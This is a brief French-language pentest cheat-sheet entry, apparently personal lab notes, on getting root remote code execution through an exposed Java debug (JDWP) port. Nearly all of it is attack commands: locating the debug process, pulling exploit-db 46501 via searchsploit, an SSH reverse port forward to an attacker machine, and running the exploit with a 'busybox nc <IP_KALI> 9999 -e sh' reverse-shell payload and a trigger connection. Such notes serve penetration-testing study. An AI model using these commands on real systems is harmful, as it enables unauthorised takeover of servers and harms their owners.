JDWP — Java Debug Wire Protocol (RCE)
sommaire
Principe
Port de debug Java exposé (souvent 8000/tcp). Si l’application tourne en root → RCE root sans mot de passe. Détection via ps/linpeas : java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y
Exploit (exploit-db 46501)
searchsploit -m 46501 # java/remote/46501.py (python2)
Si le port n’écoute qu’en local : reverse port forward SSH
ssh -f -N -R 8000:localhost:8000 kali@<IP_KALI>
Exploitation
python2 46501.py -t 127.0.0.1 -p 8000 --cmd 'busybox nc <IP_KALI> 9999 -e sh'
L’exploit pose un breakpoint sur ServerSocket.accept() : il faut DÉCLENCHER l’événement en se connectant au port de l’app depuis la cible (nc 127.0.0.1 <port_app>) pour que la commande parte.